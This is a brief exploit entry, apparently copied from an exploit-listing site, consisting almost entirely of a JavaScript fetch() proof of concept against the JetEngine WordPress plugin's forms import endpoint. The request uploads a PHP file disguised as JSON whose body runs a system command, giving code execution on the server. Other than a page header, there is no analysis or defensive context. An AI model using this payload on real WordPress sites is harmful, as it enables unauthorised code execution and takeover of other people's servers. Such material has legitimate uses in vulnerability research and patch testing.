Share
## https://sploitus.com/exploit?id=WPEX-ID:2A81B6B1-2339-4889-9C28-1AF133DF8B65
fetch("/wp-admin/admin.php?action=jet_engine_forms_import", {
"headers": {
"accept": "text/html",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundary5hcKRhxO2OVXJm3s"
},
"body": "------WebKitFormBoundary5hcKRhxO2OVXJm3s\r\nContent-Disposition: form-data; name=\"form_file\"; filename=\"poc.php\"\r\nContent-Type: application/json\r\n\r\n<?php die(system('id'));\r\n------WebKitFormBoundary5hcKRhxO2OVXJm3s--\r\n",
"method": "POST",
"credentials": "include"
}).then(response => response.text()).then((data) => console.log(data));